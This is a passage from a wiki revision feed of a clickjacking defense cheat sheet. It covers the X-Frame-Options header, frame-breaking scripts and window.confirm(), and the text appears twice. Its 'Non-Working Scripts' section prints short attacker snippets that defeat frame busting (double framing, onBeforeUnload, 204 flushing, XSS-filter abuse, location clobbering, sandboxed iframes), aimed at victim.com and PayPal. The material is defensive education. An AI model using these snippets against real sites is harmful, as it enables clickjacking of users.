&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Firefox (Gecko)&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;3.6.9 (1.9.2.9)&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;[https://bugzilla.mozilla.org/show_bug.cgi?id=690168 18.0]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Internet Explorer&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;8.0&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Opera&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;10.50&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Safari&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;4.0&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://bugs.webkit.org/show_bug.cgi?id=94836 Not supported/Bug reported]&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
References: &lt;br /&gt;
* [https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options Mozilla Developer Network]&amp;lt;br&amp;gt;&lt;br /&gt;
* [http://datatracker.ietf.org/doc/draft-ietf-websec-x-frame-options/ IETF Draft]&lt;br /&gt;
&lt;br /&gt;
=== Implementation ===&lt;br /&gt;
&lt;br /&gt;
To implement this protection, you need to add the header to any page that you want to protect from being clickjacked. One way to do this is to add the header manually to every page.  A possibly simpler way is to implement a filter that automatically adds the header to every page.&lt;br /&gt;
&lt;br /&gt;
OWASP has an [[ClickjackFilter for Java EE|article and some code]] that provides all the details for implementing this in the Java EE environment.&lt;br /&gt;
&lt;br /&gt;
The SDL blog has posted an [http://blogs.msdn.com/sdl/archive/2009/02/05/clickjacking-defense-in-ie8.aspx article] covering how to implement this in a .NET environment.&lt;br /&gt;
&lt;br /&gt;
=== Limitations ===&lt;br /&gt;
&lt;br /&gt;
* '''Per-page policy specification''' &lt;br /&gt;
The policy needs to be specified for every page, which can complicate deployment. Providing the ability to enforce it for the entire site, at login time for instance, could simplify adoption.&lt;br /&gt;
&lt;br /&gt;
* '''Problems with multi-domain sites'''&lt;br /&gt;
The current implementation does not allow the webmaster to provide a whitelist of domains that are allowed to frame the page. While whitelisting can be dangerous, in some cases a webmaster might have no choice but to use more than one hostname.&lt;br /&gt;
&lt;br /&gt;
* '''Proxies'''&lt;br /&gt;
Web proxies are notorious for adding and stripping headers. If a web proxy strips the X-Frame-Options header then the site loses its framing protection.&lt;br /&gt;
&lt;br /&gt;
= Best-for-now Legacy Browser Frame Breaking Script =&lt;br /&gt;
&lt;br /&gt;
One way to defend against clickjacking is to include a &amp;quot;frame-breaker&amp;quot; script&lt;br /&gt;
in each page that should not be framed. The following methodology will prevent&lt;br /&gt;
a webpage from being framed even in legacy browsers, that do not support the&lt;br /&gt;
X-Frame-Options-Header.&lt;br /&gt;
&lt;br /&gt;
In the document HEAD element, add the following:&lt;br /&gt;
&lt;br /&gt;
First apply an ID to the style element itself:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;style id=&amp;amp;quot;antiClickjack&amp;amp;quot;&amp;amp;gt;body{display:none !important;}&amp;amp;lt;/style&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
And then delete that style by its ID immediately after in the script:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;script type=&amp;amp;quot;text/javascript&amp;amp;quot;&amp;amp;gt;&lt;br /&gt;
    if (self === top) {&lt;br /&gt;
        var antiClickjack = document.getElementById(&amp;amp;quot;antiClickjack&amp;amp;quot;);&lt;br /&gt;
        antiClickjack.parentNode.removeChild(antiClickjack);&lt;br /&gt;
    } else {&lt;br /&gt;
        top.location = self.location;&lt;br /&gt;
    }&lt;br /&gt;
 &amp;amp;lt;/script&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
This way, everything can be in the document HEAD and you only need one method/taglib in your API.&lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.codemagi.com/blog/post/194 https://www.codemagi.com/blog/post/194]&lt;br /&gt;
&lt;br /&gt;
= window.confirm() protection =&lt;br /&gt;
The use of x-frame-options or a frame-breaking script is a more fail safe method of clickjacking protection.  However, in scenarios where content must be frame-able, then a window.confirm() can be used to help mitigate Clickjacking by informing the user of the action they are about to perform.&lt;br /&gt;
&lt;br /&gt;
Invoking window.confirm() will display a popup that cannot be framed.  If the window.confirm() originates from within an iframe with a different domain than the parent, then the dialog box will display what domain the window.confirm() originated from.  In this scenario the browser is displaying the origin of the dialog box to help mitigate Clickjacking attacks.  It should be noted that Internet Explorer is the only known browser that does not display the domain that the window.confirm() dialog box originated from,  to address this issue with Internet Explorer insure that the message within the dialog box contains contextual information about the type of action being performed.  For example:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;script type=&amp;amp;quot;text/javascript&amp;amp;quot;&amp;amp;gt;&lt;br /&gt;
    var action_confirm = window.confirm(&amp;quot;Are you sure you want to delete your youtube account?&amp;quot;)&lt;br /&gt;
    if (action_confirm) {&lt;br /&gt;
        //... perform action&lt;br /&gt;
    } else {&lt;br /&gt;
        //...  The user does not want to perform the requested action.&lt;br /&gt;
    }&lt;br /&gt;
 &amp;amp;lt;/script&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Non-Working Scripts =&lt;br /&gt;
Consider the following snippet which is '''NOT recommended''' for defending&lt;br /&gt;
against clickjacking:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;if (top!=self) top.location.href=self.location.href&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This simple frame breaking script attempts to prevent the page from being incorporated into a frame or iframe by forcing the parent window to load the current frame's URL. Unfortunately, multiple ways of defeating this type of script have been made public. We outline some here.&lt;br /&gt;
&lt;br /&gt;
== Double Framing ==&lt;br /&gt;
Some frame busting techniques navigate to the correct page by assigning a value to parent.location. This works well if the victim page is framed by a single page. However, if the attacker encloses the victim in one frame inside another (a double frame), then accessing parent.location becomes a security violation in all popular browsers, due to the '''descendant frame navigation policy'''. This security violation disables the counter-action navigation.&lt;br /&gt;
&lt;br /&gt;
'''Victim frame busting code:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if(top.location!=self.locaton) {&lt;br /&gt;
  parent.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Attacker top frame:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;attacker2.html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Attacker sub-frame:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== The onBeforeUnload Event ==&lt;br /&gt;
A user can manually cancel any navigation request submitted by a framed page. To exploit this, the framing page registers an onBeforeUnload handler which is called whenever the framing page is about to be unloaded due to navigation. The handler function returns a string that becomes part of a prompt displayed to the user. Say the attacker wants to frame PayPal. He registers an unload handler function that returns the string &amp;quot;Do you want to exit PayPal?&amp;quot;. When this string is displayed to the user is likely to cancel the navigation, defeating PayPal's frame busting attempt.&lt;br /&gt;
&lt;br /&gt;
The attacker mounts this attack by registering an unload event on the top page using the&lt;br /&gt;
following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
window.onbeforeunload = function()&lt;br /&gt;
{&lt;br /&gt;
  return &amp;quot;Asking the user nicely&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.paypal.com&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
PayPal's frame busting code will generate a BeforeUnload event activating our function and prompting the user to cancel the navigation event.&lt;br /&gt;
&lt;br /&gt;
== No-Content Flushing ==&lt;br /&gt;
While the previous attack requires user interaction, the same attack can be done without prompting the user. Most browsers (IE7, IE8, Google Chrome, and Firefox) enable an attacker to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting a navigation request to a site responding with \204 - No Content.&amp;quot; Navigating to a No Content site is effectively a NOP, but flushes the request pipeline, thus canceling the original navigation request. Here is sample code to do this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var preventbust = 0&lt;br /&gt;
window.onbeforeunload = function() { killbust++ }&lt;br /&gt;
setInterval( function() {&lt;br /&gt;
  if(killbust &amp;gt; 0){&lt;br /&gt;
  killbust = 2;&lt;br /&gt;
  window.top.location = 'http://nocontent204.com'&lt;br /&gt;
  }&lt;br /&gt;
}, 1);&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Exploiting XSS filters ==&lt;br /&gt;
IE8 and Google Chrome introduced reflective XSS filters that help protect web pages from certain types of XSS attacks. Nava and Lindsay (at Blackhat) observed that these filters can be used to circumvent frame busting code. The IE8 XSS filter compares given request parameters to a set of regular expressions in order to look for obvious attempts at cross-site scripting. Using &amp;quot;induced false positives&amp;quot;, the filter can be used to disable selected scripts. By matching the beginning of any script tag in the request parameters, the XSS filter will disable all inline scripts within the page, including frame busting scripts. External scripts can also be targeted by matching an external include, effectively disabling all external scripts. Since subsets of the JavaScript loaded is still functional (inline or external) and cookies are still available, this attack is effective for clickjacking.&lt;br /&gt;
&lt;br /&gt;
'''Victim frame busting code:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
if(top != self) {&lt;br /&gt;
  top.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Attacker:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.victim.com/?v=&amp;lt;script&amp;gt;if''&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The XSS filter will match that parameter &amp;quot;&amp;lt;script&amp;gt;if&amp;quot; to the beginning of the frame busting script on the victim and will consequently disable all inline scripts in the victim's page, including the frame busting script. The XSSAuditor filter available for Google Chrome enables the same exploit.&lt;br /&gt;
&lt;br /&gt;
== Clobbering top.location ==&lt;br /&gt;
Several modern browsers treat the location variable as a special immutable attribute across all contexts. However, this is not the case in IE7 and Safari 4.0.4 where the location variable can be redefined.&lt;br /&gt;
&lt;br /&gt;
'''IE7'''&lt;br /&gt;
Once the framing page redefines location, any frame busting code in a subframe that tries to read top.location will commit a security violation by trying to read a local variable in another domain. Similarly, any attempt to navigate by assigning top.location will fail.&lt;br /&gt;
&lt;br /&gt;
'''Victim frame busting code:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if(top.location != self.location) {&lt;br /&gt;
  top.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Attacker:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt; var location = &amp;quot;clobbered&amp;quot;;&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Safari 4.0.4'''&lt;br /&gt;
&lt;br /&gt;
We observed that although location is kept immutable in most circumstances, when a custom location setter is defined via defineSetter (through window) the object location becomes undefined. The framing page simply does:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
  window.defineSetter(&amp;quot;location&amp;quot; , function(){});&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now any attempt to read or navigate the top frame's location will fail.&lt;br /&gt;
&lt;br /&gt;
== Restricted zones ==&lt;br /&gt;
&lt;br /&gt;
Most frame busting relies on JavaScript in the framed page to detect framing and bust itself out. If JavaScript is disabled in the context of the subframe, the frame busting code will not run. There are unfortunately several ways of restricting JavaScript in a subframe:&lt;br /&gt;
&lt;br /&gt;
* '''In IE 8:''' &amp;lt;pre&amp;gt;&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot; security=&amp;quot;restricted&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
* '''In Chrome:''' &amp;lt;pre&amp;gt;&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot; sandbox&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
*''' In Firefox and IE:''' Activate designMode in parent page.&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Clickjacking_Defense_Cheat_Sheet&amp;diff=151509</id>
		<title>Clickjacking Defense Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Clickjacking_Defense_Cheat_Sheet&amp;diff=151509"/>
				<updated>2013-05-13T19:42:16Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: Adding an additional method of clickjacking protection,  the use of window.confirm().&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Clickjacking Defense Introduction =&lt;br /&gt;
&lt;br /&gt;
This cheat sheet is focused on providing developer guidance on [[Clickjacking|Clickjack/UI Redress]] attack prevention.&lt;br /&gt;
&lt;br /&gt;
The most popular way to defend against Clickjacking is to include some sort of &amp;quot;frame-breaking&amp;quot; functionality which prevents other web pages from framing the site you wish to defend. This cheat sheet will discuss two methods of implementing frame-breaking: first is X-Frame-Options headers (used if the browser supports the functionality); and second is javascript frame-breaking code.&lt;br /&gt;
&lt;br /&gt;
= Defending with X-Frame-Options Response Headers =&lt;br /&gt;
&lt;br /&gt;
The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a &amp;amp;lt;frame&amp;amp;gt; or &amp;amp;lt;iframe&amp;amp;gt;. Sites can use this to avoid Clickjacking attacks, by ensuring that their content is not embedded into other sites.&lt;br /&gt;
&lt;br /&gt;
=== X-Frame-Options Header Types  ===&lt;br /&gt;
&lt;br /&gt;
There are three possible values for the X-Frame-Options headers:&lt;br /&gt;
* &amp;lt;b&amp;gt;DENY&amp;lt;/b&amp;gt;, which prevents any domain from framing the content.&lt;br /&gt;
* &amp;lt;b&amp;gt;SAMEORIGIN&amp;lt;/b&amp;gt;, which only allows the current site to frame the content.&lt;br /&gt;
* &amp;lt;b&amp;gt;ALLOW-FROM uri&amp;lt;/b&amp;gt;, which permits the specified 'uri' to frame this page. (e.g., ALLOW-FROM http&amp;amp;#58;//www.example.com) The ALLOW-FROM option is a relatively recent addition (circa 2012) and may not be supported by all browsers yet.&lt;br /&gt;
&lt;br /&gt;
=== Browser Support ===&lt;br /&gt;
&lt;br /&gt;
The following browsers support X-Frame-Options headers.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;th&amp;gt;Browser&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;DENY/SAMEORIGIN Support Introduced&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;ALLOW-FROM Support Introduced&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Chrome&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;4.1.249.1042&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Firefox (Gecko)&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;3.6.9 (1.9.2.9)&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;[https://bugzilla.mozilla.org/show_bug.cgi?id=690168 18.0]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Internet Explorer&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;8.0&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Opera&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;10.50&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Safari&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;4.0&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://bugs.webkit.org/show_bug.cgi?id=94836 Not supported/Bug reported]&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
References: &lt;br /&gt;
* [https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options Mozilla Developer Network]&amp;lt;br&amp;gt;&lt;br /&gt;
* [http://datatracker.ietf.org/doc/draft-ietf-websec-x-frame-options/ IETF Draft]&lt;br /&gt;
&lt;br /&gt;
=== Implementation ===&lt;br /&gt;
&lt;br /&gt;
To implement this protection, you need to add the header to any page that you want to protect from being clickjacked. One way to do this is to add the header manually to every page.  A possibly simpler way is to implement a filter that automatically adds the header to every page.&lt;br /&gt;
&lt;br /&gt;
OWASP has an [[ClickjackFilter for Java EE|article and some code]] that provides all the details for implementing this in the Java EE environment.&lt;br /&gt;
&lt;br /&gt;
The SDL blog has posted an [http://blogs.msdn.com/sdl/archive/2009/02/05/clickjacking-defense-in-ie8.aspx article] covering how to implement this in a .NET environment.&lt;br /&gt;
&lt;br /&gt;
=== Limitations ===&lt;br /&gt;
&lt;br /&gt;
* '''Per-page policy specification''' &lt;br /&gt;
The policy needs to be specified for every page, which can complicate deployment. Providing the ability to enforce it for the entire site, at login time for instance, could simplify adoption.&lt;br /&gt;
&lt;br /&gt;
* '''Problems with multi-domain sites'''&lt;br /&gt;
The current implementation does not allow the webmaster to provide a whitelist of domains that are allowed to frame the page. While whitelisting can be dangerous, in some cases a webmaster might have no choice but to use more than one hostname.&lt;br /&gt;
&lt;br /&gt;
* '''Proxies'''&lt;br /&gt;
Web proxies are notorious for adding and stripping headers. If a web proxy strips the X-Frame-Options header then the site loses its framing protection.&lt;br /&gt;
&lt;br /&gt;
= Best-for-now Legacy Browser Frame Breaking Script =&lt;br /&gt;
&lt;br /&gt;
One way to defend against clickjacking is to include a &amp;quot;frame-breaker&amp;quot; script&lt;br /&gt;
in each page that should not be framed. The following methodology will prevent&lt;br /&gt;
a webpage from being framed even in legacy browsers, that do not support the&lt;br /&gt;
X-Frame-Options-Header.&lt;br /&gt;
&lt;br /&gt;
In the document HEAD element, add the following:&lt;br /&gt;
&lt;br /&gt;
First apply an ID to the style element itself:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;style id=&amp;amp;quot;antiClickjack&amp;amp;quot;&amp;amp;gt;body{display:none !important;}&amp;amp;lt;/style&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
And then delete that style by its ID immediately after in the script:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;script type=&amp;amp;quot;text/javascript&amp;amp;quot;&amp;amp;gt;&lt;br /&gt;
    if (self === top) {&lt;br /&gt;
        var antiClickjack = document.getElementById(&amp;amp;quot;antiClickjack&amp;amp;quot;);&lt;br /&gt;
        antiClickjack.parentNode.removeChild(antiClickjack);&lt;br /&gt;
    } else {&lt;br /&gt;
        top.location = self.location;&lt;br /&gt;
    }&lt;br /&gt;
 &amp;amp;lt;/script&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
This way, everything can be in the document HEAD and you only need one method/taglib in your API.&lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.codemagi.com/blog/post/194 https://www.codemagi.com/blog/post/194]&lt;br /&gt;
&lt;br /&gt;
= window.confirm() Clickjacking protection =&lt;br /&gt;
The use of x-frame-options or a frame-breaking script is a more fail safe method of clickjacking protection.  However, in scenarios where content must be frame-able, then a window.confirm() can be used to help mitigate Clickjacking by informing the user of the action they are about to perform.&lt;br /&gt;
&lt;br /&gt;
Invoking window.confirm() will display a popup that cannot be framed.  If the window.confirm() originates from within an iframe with a different domain than the parent, then the dialog box will display what domain the window.confirm() originated from.  In this scenario the browser is displaying the origin of the dialog box to help mitigate Clickjacking attacks.  It should be noted that Internet Explorer is the only known browser that does not display the domain that the window.confirm() dialog box originated from,  to address this issue with Internet Explorer insure that the message within the dialog box contains contextual information about the type of action being performed.  For example:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;script type=&amp;amp;quot;text/javascript&amp;amp;quot;&amp;amp;gt;&lt;br /&gt;
    var action_confirm = window.confirm(&amp;quot;Are you sure you want to delete your youtube account?&amp;quot;)&lt;br /&gt;
    if (action_confirm) {&lt;br /&gt;
        //... perform action&lt;br /&gt;
    } else {&lt;br /&gt;
        //...  The user does not want to perform the requested action.&lt;br /&gt;
    }&lt;br /&gt;
 &amp;amp;lt;/script&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Non-Working Scripts =&lt;br /&gt;
Consider the following snippet which is '''NOT recommended''' for defending&lt;br /&gt;
against clickjacking:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;if (top!=self) top.location.href=self.location.href&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This simple frame breaking script attempts to prevent the page from being incorporated into a frame or iframe by forcing the parent window to load the current frame's URL. Unfortunately, multiple ways of defeating this type of script have been made public. We outline some here.&lt;br /&gt;
&lt;br /&gt;
== Double Framing ==&lt;br /&gt;
Some frame busting techniques navigate to the correct page by assigning a value to parent.location. This works well if the victim page is framed by a single page. However, if the attacker encloses the victim in one frame inside another (a double frame), then accessing parent.location becomes a security violation in all popular browsers, due to the '''descendant frame navigation policy'''. This security violation disables the counter-action navigation.&lt;br /&gt;
&lt;br /&gt;
'''Victim frame busting code:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if(top.location!=self.locaton) {&lt;br /&gt;
  parent.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Attacker top frame:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;attacker2.html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Attacker sub-frame:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== The onBeforeUnload Event ==&lt;br /&gt;
A user can manually cancel any navigation request submitted by a framed page. To exploit this, the framing page registers an onBeforeUnload handler which is called whenever the framing page is about to be unloaded due to navigation. The handler function returns a string that becomes part of a prompt displayed to the user. Say the attacker wants to frame PayPal. He registers an unload handler function that returns the string &amp;quot;Do you want to exit PayPal?&amp;quot;. When this string is displayed to the user is likely to cancel the navigation, defeating PayPal's frame busting attempt.&lt;br /&gt;
&lt;br /&gt;
The attacker mounts this attack by registering an unload event on the top page using the&lt;br /&gt;
following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
window.onbeforeunload = function()&lt;br /&gt;
{&lt;br /&gt;
  return &amp;quot;Asking the user nicely&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.paypal.com&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
PayPal's frame busting code will generate a BeforeUnload event activating our function and prompting the user to cancel the navigation event.&lt;br /&gt;
&lt;br /&gt;
== No-Content Flushing ==&lt;br /&gt;
While the previous attack requires user interaction, the same attack can be done without prompting the user. Most browsers (IE7, IE8, Google Chrome, and Firefox) enable an attacker to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting a navigation request to a site responding with \204 - No Content.&amp;quot; Navigating to a No Content site is effectively a NOP, but flushes the request pipeline, thus canceling the original navigation request. Here is sample code to do this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var preventbust = 0&lt;br /&gt;
window.onbeforeunload = function() { killbust++ }&lt;br /&gt;
setInterval( function() {&lt;br /&gt;
  if(killbust &amp;gt; 0){&lt;br /&gt;
  killbust = 2;&lt;br /&gt;
  window.top.location = 'http://nocontent204.com'&lt;br /&gt;
  }&lt;br /&gt;
}, 1);&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Exploiting XSS filters ==&lt;br /&gt;
IE8 and Google Chrome introduced reflective XSS filters that help protect web pages from certain types of XSS attacks. Nava and Lindsay (at Blackhat) observed that these filters can be used to circumvent frame busting code. The IE8 XSS filter compares given request parameters to a set of regular expressions in order to look for obvious attempts at cross-site scripting. Using &amp;quot;induced false positives&amp;quot;, the filter can be used to disable selected scripts. By matching the beginning of any script tag in the request parameters, the XSS filter will disable all inline scripts within the page, including frame busting scripts. External scripts can also be targeted by matching an external include, effectively disabling all external scripts. Since subsets of the JavaScript loaded is still functional (inline or external) and cookies are still available, this attack is effective for clickjacking.&lt;br /&gt;
&lt;br /&gt;
'''Victim frame busting code:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
if(top != self) {&lt;br /&gt;
  top.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Attacker:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.victim.com/?v=&amp;lt;script&amp;gt;if''&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The XSS filter will match that parameter &amp;quot;&amp;lt;script&amp;gt;if&amp;quot; to the beginning of the frame busting script on the victim and will consequently disable all inline scripts in the victim's page, including the frame busting script. The XSSAuditor filter available for Google Chrome enables the same exploit.&lt;br /&gt;
&lt;br /&gt;
== Clobbering top.location ==&lt;br /&gt;
Several modern browsers treat the location variable as a special immutable attribute across all contexts. However, this is not the case in IE7 and Safari 4.0.4 where the location variable can be redefined.&lt;br /&gt;
&lt;br /&gt;
'''IE7'''&lt;br /&gt;
Once the framing page redefines location, any frame busting code in a subframe that tries to read top.location will commit a security violation by trying to read a local variable in another domain. Similarly, any attempt to navigate by assigning top.location will fail.&lt;br /&gt;
&lt;br /&gt;
'''Victim frame busting code:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if(top.location != self.location) {&lt;br /&gt;
  top.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Attacker:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt; var location = &amp;quot;clobbered&amp;quot;;&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Safari 4.0.4'''&lt;br /&gt;
&lt;br /&gt;
